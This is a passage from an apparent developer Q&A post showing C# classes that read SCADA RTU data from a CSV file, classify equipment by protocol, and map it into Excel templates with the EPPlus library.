namespace ScadaDataMigrationTool.InputClasses.SDDT
{
class SddtRtu
{
private static int _totalLines;// Variable created to store the total number of lines
private static int _lineNum;// Variable created to mark the row that is being read
//The following variables serve the purpose to store the column number of the field, since the file may change in further development
private static int _utr_numCol;
private static int _mnem_seCol;
private static int _nome_seCol;
private static int _ordemCol;
private static int _tiporem_numCol;
private static int _tipocomuCol;
private static int _dnpCol;
private static int _protocoloCol;
private static int _commexptimeoutCol;
private static int _request_timeoutCol;
private static int _tempocongCol;
private static int _ind_comissionamentoCol;
private static int _fabricanteCol;
private static int _modeloCol;
//Variables created to store the data from the columns previously identified
private static string[] _utr_num;
private static string[] _mnem_se;
private static string[] _nome_se;
private static string[] _ordem;
private static string[] _tiporem_num;
private static string[] _tipocomu;
private static string[] _dnp;
private static string[] _protocolo;
private static string[] _commexptimeout;
private static string[] _request_timeout;
private static string[] _tempocong;
private static string[] _ind_comissionamento;
private static string[] _fabricante;
private static string[] _modelo;
//Variables created to identify the protocol of each equipment (ROW)
public static int[] _protDNP;//Variable to store the number of the row of that has an equipment with Protocol DNP3
public static int _dnpLine;//Variable that helps to count how many rows with that protocol exists
public static int[] _protICCP;//Variable to store the number of the row of that has an equipment with Protocol ICCP
public static int _iccpLine;//Variable that helps to count how many rows with that protocol exists
public static int[] _protMODBUS;//Variable to store the number of the row of that has an equipment with Protocol MODBUS
public static int _modLine;//Variable that helps to count how many rows with that protocol exists
public static int[] _protIEC104;//Variable to store the number of the row of that has an equipment with Protocol IEC 101
public static int _104Line;//Variable that helps to count how many rows with that protocol exists
private static bool _doNotRepeadRtuHeader;// Variable created to not repeat the reading of the header
public static int TotalLines
{
get
{
return _totalLines;
}
set
{
if (value == 1)
{
StreamReader _lineReader = new StreamReader(path: SddtRtu.Folder, encoding: Encoding.Default);//Inicializador da leitura de dados
while (_lineReader.ReadLine() != null) { SddtRtu._totalLines++; }
}
}
}
public static bool Header
{
get
{
if (_doNotRepeadRtuHeader == true)
{
return true;
}
else
{
return false;
}
}
set
{
if (value == true)
{
//Variable used to help the counting of the cloumns
int _headerCol = 0;
StreamReader _headerReader = new StreamReader(path: SddtRtu.Folder, encoding: Encoding.Default);
// It reads the first line and identify the name of each header
var _header = _headerReader.ReadLine().Split(',');
foreach (string _content in _header)
{
switch (_header[_headerCol])
{
case "UTR_NUM":
SddtRtu._utr_numCol = _headerCol;
break;
case "MNEM_SE":
SddtRtu._mnem_seCol = _headerCol;
break;
case "NOME_SE":
SddtRtu._nome_seCol = _headerCol;
break;
case "ORDEM":
SddtRtu._ordemCol = _headerCol;
break;
case "TIPOREM_NUM":
SddtRtu._tiporem_numCol = _headerCol;
break;
case "TIPOCOMU":
SddtRtu._tipocomuCol = _headerCol;
break;
case "DNP":
SddtRtu._dnpCol = _headerCol;
break;
case "PROTOCOLO":
SddtRtu._protocoloCol = _headerCol;
break;
case "COMMEXPTIMEOUT":
SddtRtu._commexptimeoutCol = _headerCol;
break;
case "REQUEST_TIMEOUT":
SddtRtu._request_timeoutCol = _headerCol;
break;
case "TEMPOCONG":
SddtRtu._tempocongCol = _headerCol;
break;
case "IND_COMISSIONAMENTO":
SddtRtu._ind_comissionamentoCol = _headerCol;
break;
case "FABRICANTE":
SddtRtu._fabricanteCol = _headerCol;
break;
case "MODELO":
SddtRtu._modeloCol = _headerCol;
break;
}
_headerCol++;
}
// After the first read the variable below shows that is already read
_doNotRepeadRtuHeader = true;
}
}
}
// It reads the rest of the file
public static bool Read
{
set
{
if (value == true)
{
SddtRtu._protDNP = new int[_totalLines];
SddtRtu._protICCP = new int[_totalLines];
SddtRtu._protMODBUS = new int[_totalLines];
SddtRtu._protIEC104 = new int[_totalLines];
SddtRtu._utr_num = new string[_totalLines];
SddtRtu._mnem_se = new string[_totalLines];
SddtRtu._nome_se = new string[_totalLines];
SddtRtu._ordem = new string[_totalLines];//ORDEM
SddtRtu._tiporem_num = new string[_totalLines];
SddtRtu._tipocomu = new string[_totalLines];
SddtRtu._dnp = new string[_totalLines];
SddtRtu._protocolo = new string[_totalLines];
SddtRtu._commexptimeout = new string[_totalLines];
SddtRtu._request_timeout = new string[_totalLines];
SddtRtu._tempocong = new string[_totalLines];
SddtRtu._ind_comissionamento = new string[_totalLines];
SddtRtu._fabricante = new string[_totalLines];
SddtRtu._modelo = new string[_totalLines];
//Inicializador da leitura de dados
StreamReader _reader = new StreamReader(path: SddtRtu.Folder, encoding: Encoding.Default);
_reader.ReadLine();// Reads the header (first line) before reading the data
_dnpLine = 0;
_iccpLine = 0;
_104Line = 0;
_modLine = 0;
_lineNum = 1;
while (!_reader.EndOfStream)
{
var line = _reader.ReadLine();
var values = line.Split(',');
SddtRtu._utr_num[_lineNum] = values[SddtRtu._utr_numCol];
SddtRtu._mnem_se[_lineNum] = values[SddtRtu._mnem_seCol];
SddtRtu._nome_se[_lineNum] = values[SddtRtu._nome_seCol];
SddtRtu._ordem[_lineNum] = values[SddtRtu._ordemCol];
SddtRtu._tiporem_num[_lineNum] = values[SddtRtu._tiporem_numCol];
SddtRtu._tipocomu[_lineNum] = values[SddtRtu._tipocomuCol];
SddtRtu._dnp[_lineNum] = values[SddtRtu._dnpCol];
SddtRtu._protocolo[_lineNum] = values[SddtRtu._protocoloCol];
//Identification of the type of protocol of the line
switch (SddtRtu._protocolo[_lineNum])
{
case "DNP IP":
SddtRtu._protDNP[_dnpLine] = _lineNum;
_dnpLine++;
break;
case "ICCP":
SddtRtu._protICCP[_iccpLine] = _lineNum;
_iccpLine++;
break;
case "MODBUS":
SddtRtu._protMODBUS[_modLine] = _lineNum;
_modLine++;
break;
case "IEC104":
SddtRtu._protIEC104[_104Line] = _lineNum;
_modLine++;
break;
}
SddtRtu._commexptimeout[_lineNum] = values[SddtRtu._commexptimeoutCol];
SddtRtu._request_timeout[_lineNum] = values[SddtRtu._request_timeoutCol];
SddtRtu._tempocong[_lineNum] = values[SddtRtu._tempocongCol];
SddtRtu._ind_comissionamento[_lineNum] = values[SddtRtu._ind_comissionamentoCol];
SddtRtu._fabricante[_lineNum] = values[SddtRtu._fabricanteCol];
SddtRtu._modelo[_lineNum] = values[SddtRtu._modeloCol];
}
// The lines below will remove every value 0 stored in the protocol variables
_protDNP = Array.FindAll(_protDNP, n => n != 0);
_protICCP = Array.FindAll(_protICCP, n => n != 0);
_protMODBUS = Array.FindAll(_protMODBUS, n => n != 0);
_protIEC104 = Array.FindAll(_protIEC104, n => n != 0);
}
}
}
// The methods below have the purpose of returning the values of an specific line
public static int Utr_num(int _line)
{
return int.Parse(_utr_num[_line]);
}
public static string Mnem_se(int _line)
{
return _mnem_se[_line];
}
public static string Nome_se(int _line)
{
return _nome_se[_line];
}
public static string Ordem(int _line)
{
return _ordem[_line];
}
public static string Tiporem_num(int _line)
{
return _tiporem_num[_line];
}
public static string Tipocomu(int _line)
{
return _tipocomu[_line];
}
public static string Dnp(int _line)
{
return _dnp[_line];
}
public static string Protocolo(int _line)
{
return _protocolo[_line];
}
public static string Commexptimeout(int _line)
{
return _commexptimeout[_line];
}
public static string Request_timeout(int _line)
{
return _request_timeout[_line];
}
public static int Tempocong(int _line)
{
if (_line < TotalLines)
{
return Convert.ToInt32(_tempocong[_line]);
}
return 0;
}
public static string Ind_comissionamento(int _line)
{
return _ind_comissionamento[_line];
}
public static string Fabricante(int _line)
{
return _fabricante[_line];
}
public static string Modelo(int _line)
{
return _modelo[_line];
}
}
}
</code></pre>
<p>After the input class I created an output class with all protocols that will be migrated. I will show "Dnp3.cs" because the other two follow the same pattern and I will shorten the code to avoid being too big, it follows the same pattern. <strong><em>This class is created using mostly the EPPlus library to handle excel.</em></strong></p>
<p><a href="https://i.stack.imgur.com/fkmxo.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/fkmxo.png" alt="Image of the DNP3_RTUs worksheet of the output DNP3 file"></a></p>
<pre><code>using System.IO;
using OfficeOpenXml;
using OfficeOpenXml.Table;
namespace ScadaDataMigrationTool.Template
{
public class Dnp3
{
private static ExcelPackage _dnp3Package;// Variable created to store the Excel package
private static ExcelWorksheet _worksheet1;// Variable created to store the worksheet DNP3_RTUs
private static ExcelWorksheet _worksheet2; // Variable created to store the worksheet DNP3_ScanGroups
private static FileInfo _templateInfo;
private static FileInfo _newDnp3FileInfo;
private static string _template;
private static string _newDnp3File;
private static int _column; // Variable created to make the count of columns of the property Header
public static string NewFile
{
get
{
if (_newDnp3FileInfo.Exists == true)
{
return "true";
}
else if (_newDnp3FileInfo.Exists == false)
{
return "false";
}
return "";
}
set
{
string _path;
_path = Directory.GetCurrentDirectory();
_template = Path.Combine(_path, "TemplateFiles", "TDT", "TDT_DNP3_CPFL.xlsx");
_templateInfo = new FileInfo(_template);
_newDnp3File = value;
_newDnp3FileInfo = new FileInfo(_newDnp3File);
if (_newDnp3FileInfo.Exists == false)
{
_dnp3Package = new ExcelPackage(_newDnp3FileInfo, _templateInfo);
_worksheetInfo = Dnp3._dnp3Package.Workbook.Worksheets["Info"];
_worksheet1 = Dnp3._dnp3Package.Workbook.Worksheets["DNP3_RTUs"];
_worksheet2 = Dnp3._dnp3Package.Workbook.Worksheets["DNP3_ScanGroups"];
}
}
}
public static bool Save
{
set
{
if (value == true)
{
int _line = 1;
var _range1 = _worksheet1.Dimension;
// It makes the count of every not empty row on the worksheet
while ((_worksheet1.Cells[Row: _line, Col: 1].Value != null) && (_worksheet1.Cells[Row: _line, Col: 1].Text != ""))
{
++_line;
}
// it deletes the worksheet empty rows
if (_line > 5)
{
_worksheet1.DeleteRow(_line, 1 + _range1.End.Row - _line);
}
_line = 1;
var _range2 = _worksheet2.Dimension;
while ((_worksheet2.Cells[Row: _line, Col: 1].Value != null) && (_worksheet2.Cells[Row: _line, Col: 1].Text != ""))
{
++_line;
}
if (_line > 5)
{
_worksheet2.DeleteRow(_line, 1 + _range2.End.Row - _line);
}
// Method to save the package
Dnp3._dnp3Package.Save();
}
}
}
public class DNP3_RTUs : Dnp3
{
private static int _idobj_nameCol;
private static int _idobj_aliasCol;
private static int _idobj_aorgroupCol;
private static int _psr_locationCol;
private static int _equipment_contCol;
private static int _rtu_typeCol;
private static int _rtu_timezoneCol;
private static int _rtu_usedstCol;
private static int _rtu_parentremoteCol;
private static int _remoteterminalunit_listenonlymodeCol;
private static int _rtu_initialpollCol;
private static int _rtu_cmdexpirationtimeoutCol;
private static int _rtu_enablecmdqueueingCol;
private static bool _doNotRepeatDnp3Header1;
public static bool Header
{
get
{
if (_doNotRepeatDnp3Header1 == true)
{
return true;
}
else
{
return false;
}
}
set
{
_column = 1;
_idobj_nameCol = 1;
_idobj_aliasCol = 1;
_idobj_aorgroupCol = 1;
_psr_locationCol = 1;
_equipment_contCol = 1;
_rtu_typeCol = 1;
_rtu_timezoneCol = 1;
_rtu_usedstCol = 1;
_rtu_parentremoteCol = 1;
_remoteterminalunit_listenonlymodeCol = 1;
_rtu_initialpollCol = 1;
_rtu_cmdexpirationtimeoutCol = 1;
_rtu_enablecmdqueueingCol = 1;
while (_worksheet1.Cells[Row: 3, Col: _column].Value != null)
{
switch (_worksheet1.Cells[Row: 3, Col: _column].Value)
{
case "IDOBJ_NAME":
_idobj_nameCol = _column;
break;
case "IDOBJ_ALIAS":
_idobj_aliasCol = _column;
break;
case "IDOBJ_AORGROUP":
_idobj_aorgroupCol = _column;
break;
case "PSR_LOCATION":
_psr_locationCol = _column;
break;
case "EQUIPMENT_CONT":
_equipment_contCol = _column;
break;
case "RTU_TYPE":
_rtu_typeCol = _column;
break;
case "RTU_TIMEZONE":
_rtu_timezoneCol = _column;
break;
case "RTU_USEDST":
_rtu_usedstCol = _column;
break;
case "RTU_PARENTREMOTE":
_rtu_parentremoteCol = _column;
break;
case "REMOTETERMINALUNIT_LISTENONLYMODE":
_remoteterminalunit_listenonlymodeCol = _column;
break;
case "RTU_INITIALPOLL":
_rtu_initialpollCol = _column;
break;
case "RTU_CMDEXPIRATIONTIMEOUT":
_rtu_cmdexpirationtimeoutCol = _column;
break;
case "RTU_ENABLECMDQUEUEING":
_rtu_enablecmdqueueingCol = _column;
break;
}
_column++;
}
_doNotRepeatDnp3Header1 = true;
}
}
public static string IDOBJ_NAME(int line, string data)
{
line = line + 5; //The row starts on 5 because of the headers above
// The "InsertRow" method is to keep the validations from the previous line, it exists just in the first column
if (line != 5)
{
_worksheet1.InsertRow(line, 1, 5);
}
// The property below inserts the data on the desired cell
_worksheet1.Cells[line, _idobj_nameCol].Value = data;
// The properties below change the font and the font size
_worksheet1.Cells[line, _idobj_nameCol].Style.Font.Size = 11;
_worksheet1.Cells[line, _idobj_nameCol].Style.Font.Name = "Calibri";
return _worksheet1.Cells[line, _idobj_nameCol].Value.ToString();
}
public static string IDOBJ_ALIAS(int line, string data)
{
line = line + 5;
_worksheet1.Cells[line, _idobj_aliasCol].Value = data;
_worksheet1.Cells[line, _idobj_aliasCol].Style.Font.Size = 11;
_worksheet1.Cells[line, _idobj_aliasCol].Style.Font.Name = "Calibri";
return _worksheet1.Cells[line, _idobj_aliasCol].Value.ToString();
}
public static string IDOBJ_AORGROUP(int line, string data)
{
line = line + 5;
_worksheet1.Cells[line, _idobj_aorgroupCol].Value = data;
_worksheet1.Cells[line, _idobj_aorgroupCol].Style.Font.Size = 11;
_worksheet1.Cells[line, _idobj_aorgroupCol].Style.Font.Name = "Calibri";
return _worksheet1.Cells[line, _idobj_aorgroupCol].Value.ToString();
}
public static string PSR_LOCATION(int line, string data)
{
line = line + 5;
_worksheet1.Cells[line, _psr_locationCol].Value = data;
_worksheet1.Cells[line, _psr_locationCol].Style.Font.Size = 11;
_worksheet1.Cells[line, _psr_locationCol].Style.Font.Name = "Calibri";
return _worksheet1.Cells[line, _psr_locationCol].Value.ToString();
}
public static string EQUIPMENT_CONT(int line, string data)
{
line = line + 5;
_worksheet1.Cells[line, _equipment_contCol].Value = data;
_worksheet1.Cells[line, _equipment_contCol].Style.Font.Size = 11;
_worksheet1.Cells[line, _equipment_contCol].Style.Font.Name = "Calibri";
return _worksheet1.Cells[line, _equipment_contCol].Value.ToString();
}
public static string RTU_TYPE(int line, string data)
{
line = line + 5;
_worksheet1.Cells[line, _rtu_typeCol].Value = data;
_worksheet1.Cells[line, _rtu_typeCol].Style.Font.Size = 11;
_worksheet1.Cells[line, _rtu_typeCol].Style.Font.Name = "Calibri";
return _worksheet1.Cells[line, _rtu_typeCol].Value.ToString();
}
public static string RTU_TIMEZONE(int line, string data)
{
line = line + 5;
_worksheet1.Cells[line, _rtu_timezoneCol].Value = data;
_worksheet1.Cells[line, _rtu_timezoneCol].Style.Font.Size = 11; // Altera o tamanho da fonte
_worksheet1.Cells[line, _rtu_timezoneCol].Style.Font.Name = "Calibri"; // Altera a fonte
return _worksheet1.Cells[line, _rtu_timezoneCol].Value.ToString();
}
public static string RTU_USEDST(int line, bool data)
{
line = line + 5;
_worksheet1.Cells[line, _rtu_usedstCol].Value = data;
_worksheet1.Cells[line, _rtu_usedstCol].Style.Font.Size = 11;
_worksheet1.Cells[line, _rtu_usedstCol].Style.Font.Name = "Calibri";
return _worksheet1.Cells[line, _rtu_usedstCol].Value.ToString();
}
public static string RTU_PARENTREMOTE(int line, string data)
{
line = line + 5;
_worksheet1.Cells[line, _rtu_parentremoteCol].Value = data;
_worksheet1.Cells[line, _rtu_parentremoteCol].Style.Font.Size = 11;
_worksheet1.Cells[line, _rtu_parentremoteCol].Style.Font.Name = "Calibri";
return _worksheet1.Cells[line, _rtu_parentremoteCol].Value.ToString();
}
public static string REMOTETERMINALUNIT_LISTENONLYMODE(int line, bool data)
{
line = line + 5;
_worksheet1.Cells[line, _remoteterminalunit_listenonlymodeCol].Value = data;
_worksheet1.Cells[line, _remoteterminalunit_listenonlymodeCol].Style.Font.Size = 11;
_worksheet1.Cells[line, _remoteterminalunit_listenonlymodeCol].Style.Font.Name = "Calibri";
return _worksheet1.Cells[line, _remoteterminalunit_listenonlymodeCol].Value.ToString();
}
public static string RTU_INITIALPOLL(int line, bool data)
{
line = line + 5;
_worksheet1.Cells[line, _rtu_initialpollCol].Value = data;
_worksheet1.Cells[line, _rtu_initialpollCol].Style.Font.Size = 11;
_worksheet1.Cells[line, _rtu_initialpollCol].Style.Font.Name = "Calibri";
return _worksheet1.Cells[line, _rtu_initialpollCol].Value.ToString();
}
public static string RTU_CMDEXPIRATIONTIMEOUT(int line, int data)
{
line = line + 5;
_worksheet1.Cells[line, _rtu_cmdexpirationtimeoutCol].Value = data;
_worksheet1.Cells[line, _rtu_cmdexpirationtimeoutCol].Style.Font.Size = 11;
_worksheet1.Cells[line, _rtu_cmdexpirationtimeoutCol].Style.Font.Name = "Calibri";
return _worksheet1.Cells[line, _rtu_cmdexpirationtimeoutCol].Value.ToString();
}
public static string RTU_ENABLECMDQUEUEING(int line, bool data)
{
line = line + 5;
_worksheet1.Cells[line, _rtu_enablecmdqueueingCol].Value = data;
_worksheet1.Cells[line, _rtu_enablecmdqueueingCol].Style.Font.Size = 11;
_worksheet1.Cells[line, _rtu_enablecmdqueueingCol].Style.Font.Name = "Calibri";
return _worksheet1.Cells[line, _rtu_enablecmdqueueingCol].Value.ToString();
}
}
public class DNP3_ScanGroups : Dnp3
{
private static int _scangroupdnp3_rtuCol;
private static int _scangroupdnp3_pollcycleCol;
private static int _scangroupdnp3_objgroupCol;
private static int _scangroupdnp3_objvariationCol;
private static int _scangroupdnp3_allpointsCol;
private static int _scangroupdnp3_startcoordCol;
private static int _scangroupdnp3_endcoordCol;
private static bool _doNotRepeatDnp3Header2;
public static bool Header
{
get
{
if (_doNotRepeatDnp3Header2 == true)
{
return true;
}
else
{
return false;
}
}
set
{
_column = 1;
_scangroupdnp3_rtuCol = 1;
_scangroupdnp3_pollcycleCol = 1;
_scangroupdnp3_objgroupCol = 1;
_scangroupdnp3_objvariationCol = 1;
_scangroupdnp3_allpointsCol = 1;
_scangroupdnp3_startcoordCol = 1;
_scangroupdnp3_endcoordCol = 1;
while (_worksheet2.Cells[Row: 3, Col: _column].Value != null)
{
switch (_worksheet2.Cells[Row: 3, Col: _column].Value)
{
case "SCANGROUPDNP3_RTU":
_scangroupdnp3_rtuCol = _column;
break;
case "SCANGROUPDNP3_POLLCYCLE":
_scangroupdnp3_pollcycleCol = _column;
break;
case "SCANGROUPDNP3_OBJGROUP":
_scangroupdnp3_objgroupCol = _column;
break;
case "SCANGROUPDNP3_OBJVARIATION":
_scangroupdnp3_objvariationCol = _column;
break;
case "SCANGROUPDNP3_ALLPOINTS":
_scangroupdnp3_allpointsCol = _column;
break;
case "SCANGROUPDNP3_STARTCOORD":
_scangroupdnp3_startcoordCol = _column;
break;
case "SCANGROUPDNP3_ENDCOORD":
_scangroupdnp3_endcoordCol = _column;
break;
}
break;
}
_column++;
}
_doNotRepeatDnp3Header2 = true;
}
}
public static string SCANGROUPDNP3_RTU(int line, string data)
{
line = line + 5;
if (line != 5)
{
_worksheet2.InsertRow(line, 1, 5);
}
_worksheet2.Cells[line, _scangroupdnp3_rtuCol].Value = data;
_worksheet2.Cells[line, _scangroupdnp3_rtuCol].Style.Font.Size = 11;
_worksheet2.Cells[line, _scangroupdnp3_rtuCol].Style.Font.Name = "Calibri";
return _worksheet2.Cells[line, _scangroupdnp3_rtuCol].Value.ToString();
}
public static string SCANGROUPDNP3_POLLCYCLE(int line, string data)
{
line = line + 5;
_worksheet2.Cells[line, _scangroupdnp3_pollcycleCol].Value = data;
_worksheet2.Cells[line, _scangroupdnp3_pollcycleCol].Style.Font.Size = 11;
_worksheet2.Cells[line, _scangroupdnp3_pollcycleCol].Style.Font.Name = "Calibri";
return _worksheet2.Cells[line, _scangroupdnp3_pollcycleCol].Value.ToString();
}
public static string SCANGROUPDNP3_OBJGROUP(int line, string data)
{
line = line + 5;
_worksheet2.Cells[line, _scangroupdnp3_objgroupCol].Value = data;
_worksheet2.Cells[line, _scangroupdnp3_objgroupCol].Style.Font.Size = 11; // Altera o tamanho da fonte
_worksheet2.Cells[line, _scangroupdnp3_objgroupCol].Style.Font.Name = "Calibri"; // Altera a fonte
return _worksheet2.Cells[line, _scangroupdnp3_objgroupCol].Value.ToString();
}
public static string SCANGROUPDNP3_OBJVARIATION(int line, int data)
{
line = line + 5;
_worksheet2.Cells[line, _scangroupdnp3_objvariationCol].Value = data;
_worksheet2.Cells[line, _scangroupdnp3_objvariationCol].Style.Font.Size = 11;
_worksheet2.Cells[line, _scangroupdnp3_objvariationCol].Style.Font.Name = "Calibri";
return _worksheet2.Cells[line, _scangroupdnp3_objvariationCol].Value.ToString();
}
public static string SCANGROUPDNP3_ALLPOINTS(int line, bool data)
{
line = line + 5;
_worksheet2.Cells[line, _scangroupdnp3_allpointsCol].Value = data;
_worksheet2.Cells[line, _scangroupdnp3_allpointsCol].Style.Font.Size = 11;
_worksheet2.Cells[line, _scangroupdnp3_allpointsCol].Style.Font.Name = "Calibri";
return _worksheet2.Cells[line, _scangroupdnp3_allpointsCol].Value.ToString();
}
public static string SCANGROUPDNP3_STARTCOORD(int line, string data)
{
line = line + 5; // A entrada de dados começa na linha 5
_worksheet2.Cells[line, _scangroupdnp3_startcoordCol].Value = data;
_worksheet2.Cells[line, _scangroupdnp3_startcoordCol].Style.Font.Size = 11;
_worksheet2.Cells[line, _scangroupdnp3_startcoordCol].Style.Font.Name = "Calibri";
return _worksheet2.Cells[line, _scangroupdnp3_startcoordCol].Value.ToString();
}
public static string SCANGROUPDNP3_ENDCOORD(int line, string data)
{
line = line + 5;
_worksheet2.Cells[line, _scangroupdnp3_endcoordCol].Value = data;
_worksheet2.Cells[line, _scangroupdnp3_endcoordCol].Style.Font.Size = 11;
_worksheet2.Cells[line, _scangroupdnp3_endcoordCol].Style.Font.Name = "Calibri";
return _worksheet2.Cells[line, _scangroupdnp3_endcoordCol].Value.ToString();
}
}
}
</code></pre>
<p>The next class I use is to relate every input data to the output data.</p>
<pre><code>using ScadaDataMigrationTool.InputClasses.SDDT;
using ScadaDataMigrationTool.Template;
namespace ScadaDataMigrationTool.InputClasses
{
class Mapping
{
// Variable to define the row on the input file
private static int _inputCount;
// Variable to define the row on the output file
private static int _outputCount;
public static string Input { get; set; }
// Mapping of the DNP3 protocol
public class TDT_DNP3_Mapping : Mapping
{
// Property to map the worksheet DNP3_RTUs
public static int DNP3_RTUs
{
set
{
// The value 0 resets the counting
if (value == 0)
{
// if the identification of the header is not done then it will start
if (Dnp3.DNP3_RTUs.Header == false) Dnp3.DNP3_RTUs.Header = true;
_outputCount = 0;
_inputCount = 0;
}
if (value > 0)
{
_inputCount = value;// Value to start the counting
// If the type of input file is "RTU" then the mapping starts
if (Input == "RTU")// Subestação DNP3
{
// Preenchimento dos campos segundo o documento de mapeamento
Dnp3.DNP3_RTUs.IDOBJ_NAME(_outputCount, "UTR_" + SddtRtu.Mnem_se(_inputCount) + "_" + SddtRtu.Ordem(_inputCount));
Dnp3.DNP3_RTUs.IDOBJ_ALIAS(_outputCount, SddtRtu.Nome_se(_inputCount) + "_" + SddtRtu.Ordem(_inputCount));
Dnp3.DNP3_RTUs.PSR_LOCATION(_outputCount, SddtRtu.Fabricante(_inputCount) + " - " + SddtRtu.Modelo(_inputCount));
Dnp3.DNP3_RTUs.EQUIPMENT_CONT(_outputCount, SddtRtu.Nome_se(_inputCount));
Dnp3.DNP3_RTUs.RTU_TYPE(_outputCount, "RTU");
Dnp3.DNP3_RTUs.RTU_TIMEZONE(_outputCount, "(UTC-03:00) Brasilia");
Dnp3.DNP3_RTUs.RTU_USEDST(_outputCount, false);
Dnp3.DNP3_RTUs.REMOTETERMINALUNIT_LISTENONLYMODE(_outputCount, false);
Dnp3.DNP3_RTUs.RTU_INITIALPOLL(_outputCount, true);
Dnp3.DNP3_RTUs.RTU_CMDEXPIRATIONTIMEOUT(_outputCount, 20);
Dnp3.DNP3_RTUs.RTU_ENABLECMDQUEUEING(_outputCount, false);
_outputCount++;
}
}
}
}
// Property to map the worksheet DNP3_ScanGroups
public static int DNP3_ScanGroups
{
set
{
if (value == 0)
{
if (Dnp3.DNP3_ScanGroups.Header == false) Dnp3.DNP3_ScanGroups.Header = true;
_outputCount = 0;
_inputCount = 0;
}
if (value > 0)
{
_inputCount = value;// Valor para iniciar o mapeamento
if (Input == "RTU")
{
Dnp3.DNP3_ScanGroups.SCANGROUPDNP3_RTU(_outputCount, "UTR_" + SddtRtu.Mnem_se(_inputCount) + "_" + SddtRtu.Ordem(_inputCount));
Dnp3.DNP3_ScanGroups.SCANGROUPDNP3_POLLCYCLE(_outputCount, "3600");
Dnp3.DNP3_ScanGroups.SCANGROUPDNP3_OBJGROUP(_outputCount, "BinaryInput");
Dnp3.DNP3_ScanGroups.SCANGROUPDNP3_OBJVARIATION(_outputCount, 2);
Dnp3.DNP3_ScanGroups.SCANGROUPDNP3_ALLPOINTS(_outputCount, true);
_outputCount++;
}
}
}
}
}
}
}
</code></pre>
<p>The Class "Classification.cs" server the purpose of store call the number of rows (equipments) with certain protocols.</p>
<pre><code>using ScadaDataMigrationTool.InputClasses.SDDT;
namespace ScadaDataMigrationTool.InputClasses
{
class Classification
{
public static int Dnp3
{
get
{
switch (Mapping.Input)
{
case "RTU":
return SddtRtuOriginal._dnpLine;
case "ptoestse":
return SddtPtoestse._dnpLine;
case "ptodadse":
return SddtPtodadse._dnpLine;
}
}
set
{
switch (Mapping.Input)
{
case "RTU":
SddtRtuOriginal._dnpLine = SddtRtuOriginal._protDNP[value];
break;
case "ptoestse":
SddtPtoestse._dnpLine = SddtPtoestse._protDNP[value];
break;
case "ptodadse":
SddtPtodadse._dnpLine = SddtPtodadse._protDNP[value];
break;
}
}
}
public static int DnpCount
{
get
{
switch (Mapping.Input)
{
case "RTU":
return SddtRtuOriginal._protDNP.Length;
case "ptoestse":
return SddtPtoestse._protDNP.Length;
case "ptodadse":
return SddtPtodadse._protDNP.Length;
}
}
}
}
}
</code></pre>
<p>After the mapping the I use a Backgroundworker to apply the mapping to the files. On the form (Image below) I enter 3 files already cited above. The variable <em>_index</em> have the purpose of select which file will be read (First the "SddtRtu", second the "SddtPtoestse" then "SddtPtodadse"). </p>
<p><a href="https://i.stack.imgur.com/vrCaj.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vrCaj.png" alt="enter image description here"></a></p>
<pre><code>private void _backgroundWorkerSddtSubstation_DoWork(object sender, System.ComponentModel.DoWorkEventArgs a)
{
int _index = 0;
SignalsExplanation.TempFile = true;
Mapping.Input = "RTU";
SddtRtu.TotalLines = 1;
if (SddtRtu.Header == false) SddtRtu.Header = true;
SddtRtu.Read = true;
if (Classification.DnpCount != 0)
{
// Esta linha serve para criar o nome do arquivo de saída e dividir seu caminho em uma array
string[] arrayPathDnp3 = { FolderBrowserDialog.SelectedPath, "TDT_DNP3_" + NewFileNameRTU + ".xlsx" };
// Esta linha serve para combinar os itens do array para criar um path
string filePathDnp3 = Path.Combine(arrayPathDnp3);
// Manda o caminho do arquivo de entrada para a property de criação do novo arquivo
Dnp3.NewFile = filePathDnp3;
// Variavel criada para fazer a contagem de versões existentes do arquivo (Caso exista)
int _dnp3VersionCount = 0;
// Faz a contagem das versões existentes do arquivo caso existam
while (Dnp3.NewFile == "true")
{
_dnp3VersionCount++;
filePathDnp3 = Path.Combine(FolderBrowserDialog.SelectedPath, "TDT_DNP3_" + NewFileNameRTU + _dnp3VersionCount + ".xlsx");
Dnp3.NewFile = filePathDnp3;
}
while (_index < 3)
{
if (_index == 0)
{
Mapping.Input = "RTU";
SddtRtu.TotalLines = 1;
if (SddtRtu.Header == false) SddtRtu.Header = true;
SddtRtu.Read = true;
}
else if (_index == 1)
{
SignalsExplanation.Sddt.Header = true;
Mapping.Input = "ptoestse";
SddtPtoestse.TotalLines = 1;
if (SddtPtoestse.Header == false) SddtPtoestse.Header = true;
SddtPtoestse.Read = true;
}
else if (_index == 2)
{
SignalsExplanation.Sddt.Header = true;
Mapping.Input = "ptodadse";
SddtPtodadse.TotalLines = 1;
if (SddtPtodadse.Header == false) SddtPtodadse.Header = true;
SddtPtodadse.Read = true;
}
if (Classification.DnpCount != 0)
{
// Variável criada para fazer a contagem de linhas de itens DNP3
int _dnp3Linecount;
//Valor inserido para reiniciar os contadores de linha
Mapping.TDT_DNP3_Mapping.DNP3_RTUs = 0;
// Preenchimento da worksheet DNP3_RTUs
for (_dnp3Linecount = 0; _dnp3Linecount < Classification.DnpCount; ++_dnp3Linecount)
{
// Esta linha serve para identificar a linha de cada equipamento com protocolo DNP3
Classification.Dnp3 = _dnp3Linecount;
// Esta linha serve para fazer o mapeamento da linha e preencher o arquivo
Mapping.TDT_DNP3_Mapping.DNP3_RTUs = Classification.Dnp3;
}
//Valor inserido para reiniciar os contadores de linha
Mapping.TDT_DNP3_Mapping.DNP3_ScanGroups = 0;
// Preenchimento da worksheet DNP3_ScanGroups
for (_dnp3Linecount = 0; _dnp3Linecount < Classification.DnpCount; ++_dnp3Linecount)
{
// Esta linha serve para identificar a linha de cada equipamento com protocolo DNP3
Classification.Dnp3 = _dnp3Linecount;
// Esta linha serve para fazer o mapeamento da linha e preencher o arquivo
Mapping.TDT_DNP3_Mapping.DNP3_ScanGroups = Classification.Dnp3;
}
//Valor inserido para reiniciar os contadores de linha
Mapping.TDT_DNP3_Mapping.DNP3_CommLinks = 0;
// Preenchimento da worksheet DNP3_CommLinks
for (_dnp3Linecount = 0; _dnp3Linecount < Classification.DnpCount; ++_dnp3Linecount)
{
// Esta linha serve para identificar a linha de cada equipamento com protocolo DNP3
Classification.Dnp3 = _dnp3Linecount;
// Esta linha serve para fazer o mapeamento da linha e preencher o arquivo
Mapping.TDT_DNP3_Mapping.DNP3_CommLinks = Classification.Dnp3;
}
